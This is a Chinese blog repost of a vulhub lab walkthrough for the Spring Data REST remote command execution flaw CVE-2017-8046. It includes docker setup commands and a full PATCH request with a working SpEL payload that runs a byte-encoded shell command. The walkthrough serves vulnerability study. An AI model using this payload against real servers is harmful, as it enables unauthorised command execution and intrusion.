Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
发布日期:2021-06-29 11:26:31
浏览次数:2
分类:技术文章
本文共 1617 字,大约阅读时间需要 5 分钟。
声明
好好学习,天天向上
漏洞描述
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
影响范围
pivotal Spring Data REST < 2.5.12 2.6.7 3.0 RC3
pivotal Spring Boot < 2.0.0M4 pivotal Spring Data < Kay-RC3复现过程
这里使用2.6.6版本
使用vulhub
cd /app/vulhub-master/spring/CVE-2017-8046
使用docker启动
docker-compose builddocker-compose up -d
环境启动后,访问http://your-ip:8080
http://192.168.239.129:8080
可以看到json格式
访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之:
http://192.168.239.129:8080/customers/1
其中
path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success
比如t的ascii码就是116,o的就是111,以此类推
在线转换,字符串处输入touch /tmp/cve-2017-8046,字符串太长,分两次
https://tool.520101.com/wangluo/ascii3/
116,111,117,99,104,32,47,116,109,112,47,99,118,101,45,50,48,49,55,45,56,48,52,54
我构造的请求包
PATCH /customers/1 HTTP/1.1Host: 192.168.239.129:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 215[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,99,118,101,45,50,48,49,55,45,56,48,52,54}))/lastname", "value": "vulhub" }]
成功执行
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose builddocker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down
转载地址:https://blog.csdn.net/zy15667076526/article/details/111413952 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!
发表评论
最新留言
哈哈,博客排版真的漂亮呢~
[***.90.31.176]2024年04月20日 21时28分35秒
关于作者
喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
大佬终于把鸿蒙OS讲明白了,收藏了!
2019-04-29
C语言指针,这可能是史上最干最全的讲解啦(附代码)!!!
2019-04-29
国内大陆有哪些芯片公司处于世界前10?一起看看!
2019-04-29
单精度、双精度、多精度和混合精度计算的区别是什么?
2019-04-29
中国35位“大国工匠”榜单出炉!西工大、西电合计占半壁江山!清华仅1人!...
2019-04-29
知乎热议:嵌入式开发中C++好用吗?
2019-04-29
2020,Python 已死?
2019-04-29
漫画:程序员相亲?哈哈哈哈哈哈
2019-04-29
30种EMC标准电路分享,再不收藏就晚了!
2019-04-29
这100道Linux常见面试题,看看你会多少?
2019-04-29
十年硬件老司机,结合实际案例,带你探索单片机低功耗设计!
2019-04-29
“2020年嵌入式软件秋招经验和对嵌入式软件未来的一点思考”
2019-04-29
嵌入式的坑在哪方面?
2019-04-29
三种常见嵌入式设备通信协议
2019-04-29
硬核,这个充电宝居然烧煤气!
2019-04-29
什么是模块化代码?如何写?
2019-04-29
STM32串口发送数据和接收数据方式总结
2019-04-29
来,看看这20个常用的宏定义!
2019-04-29
嵌入式开发中常用的几种通信接口总结
2019-04-29
为什么我那么努力,模电还是学不懂?
2019-04-29